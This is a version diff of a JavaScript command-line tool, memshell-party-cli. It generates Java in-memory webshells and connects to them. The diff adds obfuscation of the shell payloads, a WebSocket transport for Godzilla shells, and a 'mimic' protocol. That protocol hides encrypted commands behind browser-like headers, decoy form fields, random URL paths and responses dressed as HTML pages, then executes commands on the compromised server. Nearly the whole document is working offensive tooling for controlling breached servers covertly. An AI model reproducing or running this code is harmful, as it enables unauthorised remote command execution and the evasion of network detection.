memshell-party-cli 0.6.0 → 0.8.0

package/dist/index.js

@@ -15,6 +15,7 @@ var MemPartyClient = class {
   baseUrl;
   fetchImpl;
   timeoutMs;
+  generationApiVersion;
   constructor(options) {
     this.baseUrl = options.baseUrl.replace(/\/+$/, "");
     this.fetchImpl = options.fetch ?? globalThis.fetch;
@@ -26,8 +27,14 @@ var MemPartyClient = class {
     }
   }
   // ---------- config ----------
-  getServers() {
-    return this.request("GET", "/api/config/servers");
+  async getServers() {
+    const config = await this.getConfig();
+    return Object.fromEntries(
+      Object.entries(config).map(([server, tools]) => [
+        server,
+        [...new Set(Object.values(tools).flat())]
+      ])
+    );
   }
   getConfig() {
     return this.request("GET", "/api/config");
@@ -35,20 +42,68 @@ var MemPartyClient = class {
   getPackerTree() {
     return this.request("GET", "/api/config/packers/tree");
   }
-  getPackers() {
-    return this.request("GET", "/api/config/packers");
+  async getPackers() {
+    try {
+      return await this.request("GET", "/api/config/packers");
+    } catch (err) {
+      if (!(err instanceof ApiError) || err.status !== 404) throw err;
+      return (await this.getPackerTree()).map((packer) => packer.name);
+    }
   }
-  getCommandConfigs() {
+  async getCommandConfigs() {
+    const configs = await this.getShellToolConfigs();
+    const command = configs.find((config) => config.tool === "Command");
+    if (command) {
+      return {
+        encryptors: command.params.find((param) => param.name === "encryptor")?.options ?? [],
+        implementationClasses: command.params.find((param) => param.name === "implementationClass")?.options ?? []
+      };
+    }
     return this.request("GET", "/api/config/command/configs");
   }
+  async getShellToolConfigs() {
+    try {
+      return await this.request("GET", "/api/config/shelltool/configs");
+    } catch (err) {
+      if (err instanceof ApiError && err.status === 404) return [];
+      throw err;
+    }
+  }
+  getObfuscationOptions() {
+    return this.request("GET", "/api/config/obfuscation/options");
+  }
+  async getProbeResponseServers() {
+    try {
+      return await this.request("GET", "/api/config/probe/response/servers");
+    } catch (err) {
+      if (err instanceof ApiError && err.status === 404) return [];
+      throw err;
+    }
+  }
   getVersion() {
     return this.request("GET", "/api/version");
   }
   // ---------- generation ----------
-  generateMemShell(req) {
-    return this.request("POST", "/api/memshell/generate", {
-      json: req
-    });
+  async generateMemShell(req) {
+    const apiVersion = await this.getGenerationApiVersion();
+    try {
+      return await this.request("POST", "/api/memshell/generate", {
+        json: apiVersion === "v2" ? toLegacyMemShellRequest(req) : req
+      });
+    } catch (err) {
+      if (apiVersion === "v3" && err instanceof ApiError && /Unsupported packer:/.test(err.message)) {
+        throw new ApiError(
+          `${err.message}. On v3, packer groups are only categories; choose a leaf from 'memparty config packers' (e.g. DefaultBase64, not Base64).`,
+          err.status,
+          err.url
+        );
+      }
+      throw err;
+    }
+  }
+  getGenerationApiVersion() {
+    this.generationApiVersion ??= this.getVersion().then((version2) => Number(version2.currentVersion.split(".")[0]) >= 3 ? "v3" : "v2").catch(() => "v3");
+    return this.generationApiVersion;
   }
   generateProbe(req) {
     return this.request("POST", "/api/probe/generate", {
@@ -62,6 +117,16 @@ var MemPartyClient = class {
       raw: true
     });
   }
+  decodeBytecode(classBase64) {
+    return this.request("POST", "/api/bytecode/decode", {
+      text: classBase64
+    });
+  }
+  transformBytecode(req) {
+    return this.request("POST", "/api/bytecode/transform", {
+      json: req
+    });
+  }
   // ---------- transport ----------
   async request(method, path, opts = {}) {
     const url = `${this.baseUrl}${path}`;
@@ -115,6 +180,26 @@ var MemPartyClient = class {
     return JSON.parse(rawText);
   }
 };
+function toLegacyMemShellRequest(req) {
+  const { pass, key, paramName, template, ...common } = req.shellToolConfig;
+  const { obfuscation: _obfuscation, obfuscationScope: _obfuscationScope, ...shellConfig } = req.shellConfig;
+  return {
+    ...req,
+    shellConfig: {
+      ...shellConfig,
+      probe: shellConfig.probe ? true : void 0
+    },
+    shellToolConfig: {
+      ...common,
+      godzillaPass: req.shellConfig.shellTool.startsWith("Godzilla") ? pass : void 0,
+      godzillaKey: key,
+      commandParamName: paramName,
+      commandTemplate: template,
+      behinderPass: req.shellConfig.shellTool === "Behinder" ? pass : void 0,
+      antSwordPass: req.shellConfig.shellTool === "AntSword" ? pass : void 0
+    }
+  };
+}
 
 // src/core/request-builder.ts
 import { randomInt } from "crypto";
@@ -126,7 +211,8 @@ var JDK_VERSIONS = {
   java9: 53,
   java11: 55,
   java17: 61,
-  java21: 65
+  java21: 65,
+  java25: 69
 };
 function resolveJreVersion(input) {
   if (input === void 0 || input === "") return void 0;
@@ -173,16 +259,16 @@ function buildMemShellRequest(opts) {
       byPassJavaModule: opts.byPassJavaModule,
       shrink: opts.shrink,
       lambdaSuffix: opts.lambdaSuffix,
-      probe: opts.probe
+      probe: opts.probe ? { probeMethod: "ResponseBody", probeContent: "Bytecode" } : void 0,
+      obfuscation: opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: opts.obfuscationOptions } : void 0,
+      obfuscationScope: opts.obfuscationScope
     },
     shellToolConfig: {
       shellClassName: opts.shellClassName,
-      godzillaPass: opts.godzillaPass,
-      godzillaKey: opts.godzillaKey,
-      commandParamName: opts.commandParamName,
-      commandTemplate: opts.commandTemplate,
-      behinderPass: opts.behinderPass,
-      antSwordPass: opts.antSwordPass,
+      pass: opts.godzillaPass ?? opts.behinderPass ?? opts.antSwordPass,
+      key: opts.godzillaKey,
+      paramName: opts.commandParamName,
+      template: opts.commandTemplate,
       headerName: opts.headerName,
       headerValue: opts.headerValue,
       shellClassBase64: opts.shellClassBase64,
@@ -208,7 +294,8 @@ function buildProbeRequest(opts) {
       byPassJavaModule: opts.byPassJavaModule,
       shrink: opts.shrink,
       staticInitialize: opts.staticInitialize,
-      lambdaSuffix: opts.lambdaSuffix
+      lambdaSuffix: opts.lambdaSuffix,
+      obfuscation: opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: opts.obfuscationOptions } : void 0
     },
     probeContentConfig: {
       host: opts.host,
@@ -216,7 +303,8 @@ function buildProbeRequest(opts) {
       sleepServer: opts.sleepServer,
       server: opts.server,
       reqParamName: opts.reqParamName,
-      commandTemplate: opts.commandTemplate
+      commandTemplate: opts.commandTemplate,
+      respHeaderName: opts.respHeaderName
     },
     packer: opts.packer
   };
@@ -256,6 +344,21 @@ function emitPayload(payload, opts, sinks = {}) {
 `);
   return { destination: "stdout", size: payload.length, decoded: false };
 }
+function hasMultiplePackResults(r) {
+  return r.allPackResults != null && Object.keys(r.allPackResults).length > 0;
+}
+function emitSinglePackResult(r, opts, sinks = {}) {
+  if (hasMultiplePackResults(r)) {
+    const n = Object.keys(r.allPackResults).length;
+    throw new Error(
+      `the aggregate packer returned ${n} variants at once \u2014 cannot write them to a single file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
+    );
+  }
+  if (r.packResult === void 0) {
+    throw new Error("Server returned no packResult.");
+  }
+  return emitPayload(r.packResult, opts, sinks);
+}
 
 // src/core/config.ts
 import { readFileSync } from "fs";
@@ -353,7 +456,7 @@ function formatOp(e) {
 // src/mcp/server.ts
 import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
 import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
-import { writeFileSync as writeFileSync3 } from "fs";
+import { writeFileSync as writeFileSync4 } from "fs";
 import { z } from "zod";
 
 // src/connect/assets.ts
@@ -644,6 +747,20 @@ function postRaw(url, body, options = {}) {
   return new Promise((resolve2, reject) => {
     const started = Date.now();
     const transport = isHttps ? https : http;
+    const onResponse = (res) => {
+      const chunks = [];
+      res.on("data", (chunk) => chunks.push(chunk));
+      res.on(
+        "end",
+        () => resolve2({
+          status: res.statusCode ?? 0,
+          headers: res.headers,
+          body: Buffer.concat(chunks),
+          durationMs: Date.now() - started
+        })
+      );
+      res.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
+    };
     const req = transport.request(
       {
         method: "POST",
@@ -661,21 +778,9 @@ function postRaw(url, body, options = {}) {
         timeout: timeoutMs,
         ...isHttps && insecure ? { rejectUnauthorized: false } : {}
       },
-      (res) => {
-        const chunks = [];
-        res.on("data", (chunk) => chunks.push(chunk));
-        res.on(
-          "end",
-          () => resolve2({
-            status: res.statusCode ?? 0,
-            headers: res.headers,
-            body: Buffer.concat(chunks),
-            durationMs: Date.now() - started
-          })
-        );
-        res.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
-      }
+      onResponse
     );
+    req.on("upgrade", onResponse);
     req.on("timeout", () => req.destroy(new Error(`request timed out after ${timeoutMs} ms`)));
     req.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
     req.write(body);
@@ -1101,6 +1206,57 @@ async function uploadBehinder(url, pass, remotePath, data, options = {}) {
 
 // src/connect/godzilla.ts
 import iconv from "iconv-lite";
+
+// src/connect/websocket.ts
+import WebSocket from "ws";
+function isWebSocketUrl(url) {
+  return /^wss?:\/\//i.test(url);
+}
+function requestWebSocket(url, body, options = {}) {
+  let target;
+  try {
+    target = new URL(url);
+  } catch {
+    return Promise.reject(new Error(`invalid WebSocket URL: ${url}`));
+  }
+  if (target.protocol !== "ws:" && target.protocol !== "wss:") {
+    return Promise.reject(new Error(`unsupported WebSocket protocol: ${target.protocol}`));
+  }
+  const timeoutMs = options.timeoutMs ?? 3e4;
+  return new Promise((resolve2, reject) => {
+    const socket = new WebSocket(target, {
+      headers: buildHeaders({}, options),
+      handshakeTimeout: timeoutMs,
+      rejectUnauthorized: !options.insecure,
+      perMessageDeflate: false,
+      maxPayload: 256 * 1024 * 1024
+    });
+    let timer;
+    let settled = false;
+    const finish = (error, result) => {
+      if (settled) return;
+      settled = true;
+      if (timer) clearTimeout(timer);
+      timer = void 0;
+      socket.removeAllListeners();
+      if (error) reject(error);
+      else resolve2(result);
+      socket.close();
+    };
+    timer = setTimeout(() => finish(new Error(`WebSocket request timed out after ${timeoutMs}ms`)), timeoutMs);
+    socket.once("open", () => socket.send(body));
+    socket.on("message", (data, isBinary) => {
+      finish(isBinary ? void 0 : new Error("expected a binary Godzilla WebSocket response"), data);
+    });
+    socket.once("close", () => finish(new Error("WebSocket closed without a response")));
+    socket.once("error", (error) => finish(error));
+    socket.once("unexpected-response", (_request, response) => {
+      finish(new Error(`WebSocket handshake failed: HTTP ${response.statusCode ?? 0}`));
+    });
+  });
+}
+
+// src/connect/godzilla.ts
 function serializeParams(params) {
   const parts = [];
   for (const [key, value] of params) {
@@ -1147,7 +1303,10 @@ async function openGodzillaSession(url, pass, key, options = {}) {
   const left = wrapper.slice(0, 16);
   const right = wrapper.slice(16);
   const baseHeaders = buildHeaders(
-    { "Content-Type": "application/x-www-form-urlencoded" },
+    {
+      "Content-Type": "application/x-www-form-urlencoded",
+      ...options.upgradeProtocol ? { Connection: "Upgrade", Upgrade: options.upgradeProtocol } : {}
+    },
     options
   );
   const post = (data, cookie2) => postRaw(url, encodeBody(pass, xc, data), {
@@ -1155,14 +1314,27 @@ async function openGodzillaSession(url, pass, key, options = {}) {
     timeoutMs: options.timeoutMs,
     insecure: options.insecure
   });
-  const initResponse = await post(GODZILLA_PAYLOAD_BYTES);
-  const cookies = extractCookies(initResponse.headers);
-  const cookie = cookies.length > 0 ? cookies.join("; ") : void 0;
+  let cookie;
+  if (isWebSocketUrl(url)) {
+    await requestWebSocket(url, aesEcbEncrypt(GODZILLA_PAYLOAD_BYTES, xc), options);
+  } else {
+    const initResponse = await post(GODZILLA_PAYLOAD_BYTES);
+    const cookies = extractCookies(initResponse.headers);
+    cookie = cookies.length > 0 ? cookies.join("; ") : void 0;
+  }
   return {
     async callMethod(methodName, extraParams = []) {
       const callData = gzip(
         serializeParams([["methodName", Buffer.from(methodName, "utf8")], ...extraParams])
       );
+      if (isWebSocketUrl(url)) {
+        const response = await requestWebSocket(url, aesEcbEncrypt(callData, xc), options);
+        try {
+          return gunzipLenient(aesEcbDecrypt(response, xc));
+        } catch {
+          throw new Error("WebSocket response failed to decrypt \u2014 wrong key or protocol?");
+        }
+      }
       const res = await post(callData, cookie);
       const text = res.body.toString("latin1");
       const leftIdx = text.indexOf(left);
@@ -1624,9 +1796,568 @@ async function testSuo5(url, options = {}) {
   };
 }
 
+// src/connect/mimic.ts
+import { randomInt as randomInt3 } from "crypto";
+
+// src/core/site-profile.ts
+import { existsSync as existsSync2, mkdirSync as mkdirSync2, readdirSync, readFileSync as readFileSync3, writeFileSync as writeFileSync2 } from "fs";
+import { homedir as homedir3 } from "os";
+import { join as join3 } from "path";
+function inferBodyTemplateContentType(bodyTemplate) {
+  const t = bodyTemplate.trimStart();
+  if (t.startsWith("--")) return "multipart/form-data";
+  if (t.startsWith("{") || t.startsWith("[")) return "application/json";
+  if (t.startsWith("<")) return "text/xml";
+  return null;
+}
+function profileTemplates(profile) {
+  if (Array.isArray(profile.templates) && profile.templates.length > 0) {
+    return profile.templates;
+  }
+  if (profile.template) {
+    return [
+      {
+        title: profile.title ?? "",
+        template: profile.template,
+        contentType: profile.contentType ?? "text/html; charset=utf-8"
+      }
+    ];
+  }
+  return [];
+}
+function profileRequests(profile) {
+  if (!profile.request) return [];
+  return Array.isArray(profile.request) ? profile.request : [profile.request];
+}
+function pickRequestShape(requests) {
+  if (requests.length === 0) return void 0;
+  const total = requests.reduce((s, r) => s + (r.weight ?? 1), 0);
+  let roll = Math.random() * total;
+  for (const r of requests) {
+    roll -= r.weight ?? 1;
+    if (roll <= 0) return r;
+  }
+  return requests[requests.length - 1];
+}
+var NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
+var PAYLOAD_PLACEHOLDER = "{{payload}}";
+function profilesDir() {
+  const override = process.env.MEMPARTY_PROFILES;
+  return override ? override : join3(homedir3(), ".memparty", "profiles");
+}
+function profilePath(name) {
+  return join3(profilesDir(), `${name}.json`);
+}
+function validateProfile(profile) {
+  if (!NAME_RE.test(profile.name)) {
+    throw new Error(
+      `invalid profile name ${JSON.stringify(profile.name)} \u2014 use letters, digits, '.', '_', '-'`
+    );
+  }
+  if (!profile.site || !/^https?:\/\//.test(profile.site)) {
+    throw new Error(`profile.site must be an http(s) origin (got ${JSON.stringify(profile.site)})`);
+  }
+  const templates = profileTemplates(profile);
+  if (templates.length === 0) {
+    throw new Error("profile needs at least one template (templates[] or legacy template)");
+  }
+  templates.forEach((t, i) => {
+    if (!t.template || !t.template.includes(PAYLOAD_PLACEHOLDER) && !/<!doctype\s+html|<html|<head/i.test(t.template)) {
+      throw new Error(
+        `templates[${i}].template must be a full HTML page, or carry the ${PAYLOAD_PLACEHOLDER} placeholder (any text format)`
+      );
+    }
+    if (!t.contentType) {
+      throw new Error(`templates[${i}].contentType is required (e.g. "text/html; charset=utf-8")`);
+    }
+  });
+  if (!Array.isArray(profile.paths)) {
+    throw new Error("profile.paths must be an array (may be empty)");
+  }
+  for (const [ri, req] of profileRequests(profile).entries()) {
+    if (!req.secretField || !/^[A-Za-z0-9_.-]+$/.test(req.secretField)) {
+      throw new Error(`request[${ri}].secretField must be a form-field name`);
+    }
+    if (req.secretIn !== void 0 && !["body", "query", "header"].includes(req.secretIn)) {
+      throw new Error(`request[${ri}].secretIn must be body | query | header`);
+    }
+    if (req.bodyStyle !== void 0 && !["form", "json"].includes(req.bodyStyle)) {
+      throw new Error(`request[${ri}].bodyStyle must be form | json`);
+    }
+    if (req.bodyTemplate !== void 0) {
+      if (!req.bodyTemplate.includes(PAYLOAD_PLACEHOLDER)) {
+        throw new Error(`request[${ri}].bodyTemplate must carry the ${PAYLOAD_PLACEHOLDER} placeholder`);
+      }
+      if (req.secretIn !== void 0 && req.secretIn !== "body") {
+        throw new Error(`request[${ri}].bodyTemplate only applies to secretIn=body`);
+      }
+    }
+    if (req.headers !== void 0) {
+      for (const [k, v] of Object.entries(req.headers)) {
+        if (typeof v !== "string" || !k) {
+          throw new Error(`request[${ri}].headers must be a string map`);
+        }
+      }
+    }
+    for (const [i, f] of (req.fields ?? []).entries()) {
+      if (!f.name || !/^[A-Za-z0-9_.-]+$/.test(f.name)) {
+        throw new Error(`request[${ri}].fields[${i}].name must be a form-field name`);
+      }
+      if (f.name === req.secretField) {
+        throw new Error(`request[${ri}].fields[${i}] duplicates secretField`);
+      }
+    }
+  }
+  if (profile.cipher !== void 0) {
+    const c = profile.cipher;
+    if (c.algorithm !== void 0 && !["aes-ecb", "aes-cbc", "xor"].includes(c.algorithm)) {
+      throw new Error(`cipher.algorithm must be aes-ecb | aes-cbc | xor (got ${JSON.stringify(c.algorithm)})`);
+    }
+    if (c.encoding !== void 0 && !["base64", "base64url", "hex"].includes(c.encoding)) {
+      throw new Error(`cipher.encoding must be base64 | base64url | hex (got ${JSON.stringify(c.encoding)})`);
+    }
+    if (c.marker !== void 0 && !["js-var", "html-comment"].includes(c.marker)) {
+      throw new Error(`cipher.marker must be js-var | html-comment (got ${JSON.stringify(c.marker)})`);
+    }
+    if (c.padTail !== void 0 && typeof c.padTail !== "boolean") {
+      throw new Error("cipher.padTail must be a boolean");
+    }
+  }
+}
+function loadProfile(name) {
+  const path = profilePath(name);
+  if (!existsSync2(path)) {
+    throw new Error(
+      `unknown profile ${JSON.stringify(name)} \u2014 scaffold one with 'memparty profile init ${name} --site <origin>' and fill in the template/paths by hand (stored: ${listProfiles().join(", ") || "(none)"})`
+    );
+  }
+  const profile = JSON.parse(readFileSync3(path, "utf8"));
+  validateProfile(profile);
+  return profile;
+}
+function listProfiles() {
+  const dir = profilesDir();
+  if (!existsSync2(dir)) return [];
+  return readdirSync(dir).filter((f) => f.endsWith(".json")).map((f) => f.slice(0, -".json".length)).sort();
+}
+
+// src/connect/mimic-codecs.ts
+import { createCipheriv as createCipheriv2, createDecipheriv as createDecipheriv2, randomBytes as randomBytes3 } from "crypto";
+var LEGACY_CIPHER = {
+  algorithm: "aes-ecb",
+  encoding: "base64",
+  padTail: false,
+  marker: "js-var"
+};
+function resolveCipher(partial) {
+  return { ...LEGACY_CIPHER, ...partial ?? {} };
+}
+function xorCrypt(data, key) {
+  const out = Buffer.alloc(data.length);
+  for (let i = 0; i < data.length; i++) out[i] = data[i] ^ key[i % key.length];
+  return out;
+}
+function crypt(data, aesKey, enc, algorithm) {
+  switch (algorithm) {
+    case "aes-ecb":
+      return enc ? aesEcbEncrypt(data, aesKey) : aesEcbDecrypt(data, aesKey);
+    case "aes-cbc": {
+      const key = Buffer.from(aesKey, "utf8");
+      if (enc) {
+        const iv = randomBytes3(16);
+        const c = createCipheriv2("aes-128-cbc", key, iv);
+        return Buffer.concat([iv, c.update(data), c.final()]);
+      }
+      const d = createDecipheriv2("aes-128-cbc", key, data.subarray(0, 16));
+      return Buffer.concat([d.update(data.subarray(16)), d.final()]);
+    }
+    case "xor":
+      return xorCrypt(data, Buffer.from(aesKey, "utf8"));
+  }
+}
+function encodeBytes(data, encoding) {
+  switch (encoding) {
+    case "base64":
+      return data.toString("base64");
+    case "base64url":
+      return base64UrlEncode(data);
+    case "hex":
+      return data.toString("hex");
+  }
+}
+function decodeString(text, encoding) {
+  switch (encoding) {
+    case "base64":
+      return Buffer.from(text, "base64");
+    case "base64url":
+      return base64UrlDecode(text);
+    case "hex":
+      return Buffer.from(text, "hex");
+  }
+}
+function padTailLength(aesKey) {
+  return Number.parseInt(md5Hex(aesKey).slice(0, 2), 16) % 16;
+}
+var PAD_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
+function appendPad(text, aesKey) {
+  const n = padTailLength(aesKey);
+  if (n === 0) return text;
+  const raw = randomBytes3(n);
+  let tail = "";
+  for (let i = 0; i < n; i++) tail += PAD_ALPHABET[raw[i] % PAD_ALPHABET.length];
+  return text + tail;
+}
+function stripPad(text, aesKey) {
+  const n = padTailLength(aesKey);
+  return n === 0 ? text : text.slice(0, Math.max(0, text.length - n));
+}
+function encryptField(plaintext, aesKey, cipher = LEGACY_CIPHER) {
+  let out = encodeBytes(crypt(plaintext, aesKey, true, cipher.algorithm), cipher.encoding);
+  if (cipher.padTail) out = appendPad(out, aesKey);
+  return out;
+}
+function decryptField(value, aesKey, cipher = LEGACY_CIPHER) {
+  let text = value;
+  if (cipher.padTail) text = stripPad(text, aesKey);
+  return crypt(decodeString(text, cipher.encoding), aesKey, false, cipher.algorithm);
+}
+function deriveMarkers(pass, secretKey, cipher = LEGACY_CIPHER) {
+  const id = md5Hex(pass + secretKey).slice(0, 5);
+  if (cipher.marker === "html-comment") {
+    const left2 = `<!--Re${id}_config:`;
+    return { left: left2, right: "-->", wrap: (p) => `${left2}${p}-->` };
+  }
+  const left = `var Re${id}_config="`;
+  return { left, right: '";', wrap: (p) => `<script>${left}${p}";</script>` };
+}
+
+// src/connect/mimic-shared.ts
+import { randomBytes as randomBytes4, randomInt as randomInt2, randomUUID } from "crypto";
+function deriveAesKey(secretKey) {
+  return md5Key16(secretKey);
+}
+function renderFieldValue(value) {
+  return value.replaceAll(
+    /\{\{hex:(\d+)\}\}/g,
+    (_m, n) => randomBytes4(Math.ceil(Number(n) / 2)).toString("hex").slice(0, Number(n))
+  ).replaceAll(
+    /\{\{b64:(\d+)\}\}/g,
+    (_m, n) => randomBytes4(Math.ceil(Number(n) * 3 / 4)).toString("base64url").slice(0, Number(n))
+  ).replaceAll(/\{\{uuid\}\}/g, () => randomUUID()).replaceAll(/\{\{ts\}\}/g, () => String(Math.floor(Date.now() / 1e3))).replaceAll(
+    /\{\{int:(\d+):(\d+)\}\}/g,
+    (_m, a, b) => String(randomInt2(Number(a), Number(b) + 1))
+  );
+}
+function encryptField2(plaintext, aesKey, cipher = LEGACY_CIPHER) {
+  return encryptField(plaintext, aesKey, cipher);
+}
+function decryptField2(value, aesKey, cipher = LEGACY_CIPHER) {
+  return decryptField(value, aesKey, cipher);
+}
+function buildFormBody(fields) {
+  return Buffer.from(
+    fields.map((f) => `${f.name}=${encodeURIComponent(f.value)}`).join("&"),
+    "utf8"
+  );
+}
+function buildJsonBody(fields) {
+  const obj = {};
+  for (const f of fields) obj[f.name] = f.value;
+  return Buffer.from(JSON.stringify(obj), "utf8");
+}
+function renderBodyTemplate(template, payload) {
+  return Buffer.from(renderFieldValue(template.replaceAll("{{payload}}", payload)), "utf8");
+}
+function extractBetween(text, left, right) {
+  const start = text.indexOf(left);
+  if (start === -1) return null;
+  const valueStart = start + left.length;
+  if (right === "") return text.slice(valueStart);
+  const end = text.indexOf(right, valueStart);
+  if (end === -1) return null;
+  return text.slice(valueStart, end);
+}
+function templateDelimiters(templates, markers) {
+  const out = [];
+  let markerUsed = false;
+  for (const t of templates) {
+    const idx = t.template.indexOf("{{payload}}");
+    if (idx !== -1) {
+      out.push({
+        left: t.template.slice(0, idx),
+        right: t.template.slice(idx + "{{payload}}".length)
+      });
+    } else if (!markerUsed) {
+      out.push({ left: markers.left, right: markers.right });
+      markerUsed = true;
+    }
+  }
+  if (out.length === 0) out.push({ left: markers.left, right: markers.right });
+  return out;
+}
+
+// src/connect/mimic.ts
+var BROWSER_HEADERS = {
+  "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36",
+  Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
+  "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
+  "Content-Type": "application/x-www-form-urlencoded"
+};
+function buildContext(req) {
+  const pass = req.conn.pass ?? "pass";
+  const secretKey = req.conn.key ?? "key";
+  let profile;
+  const profileName = req.options.profile ?? req.conn.profile;
+  if (profileName) {
+    profile = loadProfile(profileName);
+  }
+  const cipher = resolveCipher(profile?.cipher);
+  return {
+    pass,
+    aesKey: deriveAesKey(secretKey),
+    cipher,
+    markers: deriveMarkers(pass, secretKey, cipher),
+    profile,
+    dynamicPath: req.options.dynamicPath ?? false
+  };
+}
+function pickRequestUrl(connUrl, ctx) {
+  if (!ctx.dynamicPath || !ctx.profile || ctx.profile.paths.length === 0) {
+    return connUrl;
+  }
+  const origin = new URL(connUrl).origin;
+  const dir = ctx.profile.paths[randomInt3(ctx.profile.paths.length)];
+  const slug = randomString(8).toLowerCase();
+  return `${origin}${dir}${slug}`;
+}
+async function roundTrip(req, ctx, plaintext) {
+  let requestUrl = pickRequestUrl(req.conn.url, ctx);
+  const shape = pickRequestShape(ctx.profile ? profileRequests(ctx.profile) : []);
+  const secretField = shape?.secretField ?? ctx.pass;
+  const secretIn = shape?.secretIn ?? "body";
+  const bodyStyle = shape?.bodyStyle ?? "form";
+  const cipher = encryptField2(Buffer.from(plaintext, "utf8"), ctx.aesKey, ctx.cipher);
+  const decoys = (shape?.fields ?? []).map((f) => ({
+    name: f.name,
+    value: renderFieldValue(f.value)
+  }));
+  let body;
+  const extraHeaders = {};
+  if (secretIn === "query") {
+    const qs = buildFormBody([...decoys, { name: secretField, value: cipher }]).toString();
+    requestUrl += (requestUrl.includes("?") ? "&" : "?") + qs;
+    body = Buffer.alloc(0);
+  } else if (secretIn === "header") {
+    extraHeaders[secretField] = cipher;
+    body = bodyStyle === "json" ? buildJsonBody(decoys) : buildFormBody(decoys);
+  } else if (shape?.bodyTemplate) {
+    body = renderBodyTemplate(shape.bodyTemplate, cipher);
+  } else {
+    body = bodyStyle === "json" ? buildJsonBody([...decoys, { name: secretField, value: cipher }]) : buildFormBody([...decoys, { name: secretField, value: cipher }]);
+  }
+  const baseHeaders = { ...BROWSER_HEADERS };
+  if (secretIn === "query") delete baseHeaders["Content-Type"];
+  else if (shape?.bodyTemplate) {
+    const t = shape.bodyTemplate.trimStart();
+    if (t.startsWith("--")) {
+      const boundary = t.split(/\r?\n/, 1)[0].slice(2);
+      baseHeaders["Content-Type"] = `multipart/form-data; boundary=${boundary}`;
+    } else {
+      const inferred = inferBodyTemplateContentType(shape.bodyTemplate);
+      if (inferred) baseHeaders["Content-Type"] = inferred;
+      else delete baseHeaders["Content-Type"];
+    }
+  } else if (bodyStyle === "json") baseHeaders["Content-Type"] = "application/json";
+  const headers = buildHeaders(
+    { ...baseHeaders, ...extraHeaders, ...shape?.headers ?? {} },
+    req.common
+  );
+  let res;
+  try {
+    res = await postRaw(requestUrl, body, {
+      headers,
+      timeoutMs: req.common.timeoutMs,
+      insecure: req.common.insecure
+    });
+  } catch (err) {
+    return {
+      ok: false,
+      error: err instanceof Error ? err.message : String(err),
+      requestUrl,
+      status: 0,
+      durationMs: 0
+    };
+  }
+  if (res.status !== 200) {
+    return {
+      ok: false,
+      error: `HTTP ${res.status} \u2014 the endpoint did not answer like a mimic shell`,
+      requestUrl,
+      status: res.status,
+      durationMs: res.durationMs
+    };
+  }
+  const text = res.body.toString("utf8");
+  const delimiters = templateDelimiters(
+    ctx.profile ? profileTemplates(ctx.profile) : [],
+    ctx.markers
+  );
+  let b64 = null;
+  for (const d of delimiters) {
+    b64 = extractBetween(text, d.left, d.right);
+    if (b64 !== null) break;
+  }
+  if (b64 === null) {
+    return {
+      ok: false,
+      error: "response marker not found \u2014 wrong pass/key, or the page is not a mimic shell",
+      requestUrl,
+      status: res.status,
+      durationMs: res.durationMs
+    };
+  }
+  try {
+    const output = decryptField2(b64, ctx.aesKey, ctx.cipher).toString("utf8");
+    return { ok: true, output, requestUrl, status: res.status, durationMs: res.durationMs };
+  } catch {
+    return {
+      ok: false,
+      error: "response decryption failed \u2014 wrong key?",
+      requestUrl,
+      status: res.status,
+      durationMs: res.durationMs
+    };
+  }
+}
+var mimicProtocol = {
+  name: "mimic",
+  description: "site-mimicking demo protocol (profile-driven HTML skin + dynamic paths)",
+  async test(req) {
+    const started = Date.now();
+    const tool = "mimic";
+    const url = req.conn.url;
+    let ctx;
+    try {
+      ctx = buildContext(req);
+    } catch (err) {
+      return {
+        ok: false,
+        tool,
+        url,
+        error: err instanceof Error ? err.message : String(err),
+        durationMs: Date.now() - started
+      };
+    }
+    const canary = randomString(12);
+    const r = await roundTrip(req, ctx, `echo ${canary}`);
+    if (!r.ok) {
+      return { ok: false, tool, url, error: r.error, durationMs: Date.now() - started };
+    }
+    if (!r.output.includes(canary)) {
+      return {
+        ok: false,
+        tool,
+        url,
+        error: "round-trip mismatch \u2014 endpoint decrypted but did not execute the canary",
+        durationMs: Date.now() - started
+      };
+    }
+    const profileNote = ctx.profile ? `profile=${ctx.profile.name}` : "no profile";
+    const pathNote = r.requestUrl === url ? "fixed path" : `dynamic path ${r.requestUrl}`;
+    return {
+      ok: true,
+      tool,
+      url,
+      detail: `round-trip ok (${profileNote}; ${pathNote})`,
+      durationMs: Date.now() - started
+    };
+  },
+  async exec(req, command) {
+    const started = Date.now();
+    const tool = "mimic";
+    const url = req.conn.url;
+    let ctx;
+    try {
+      ctx = buildContext(req);
+    } catch (err) {
+      return {
+        ok: false,
+        tool,
+        url,
+        command,
+        error: err instanceof Error ? err.message : String(err),
+        durationMs: Date.now() - started
+      };
+    }
+    const r = await roundTrip(req, ctx, command);
+    if (!r.ok) {
+      return { ok: false, tool, url, command, error: r.error, durationMs: Date.now() - started };
+    }
+    return { ok: true, tool, url, command, output: r.output, durationMs: Date.now() - started };
+  }
+};
+
+// src/connect/registry.ts
+var protocols = /* @__PURE__ */ new Map();
+function registerProtocol(protocol) {
+  protocols.set(protocol.name, protocol);
+}
+function getProtocol(name) {
+  return protocols.get(name);
+}
+function protocolNames(capability) {
+  const all = [...protocols.values()];
+  const usable = capability ? all.filter((p) => p[capability] !== void 0) : all;
+  return usable.map((p) => p.name);
+}
+function requireProtocol(name) {
+  const protocol = getProtocol(name);
+  if (!protocol) {
+    throw new Error(`unknown protocol ${JSON.stringify(name)} (available: ${protocolNames().join(", ")})`);
+  }
+  return protocol;
+}
+function unsupportedMessage(protocol, capability) {
+  return `protocol '${protocol.name}' does not support ${capability}`;
+}
+var godzillaProtocol = {
+  name: "godzilla",
+  description: "Godzilla JAVA_AES_BASE64 shell",
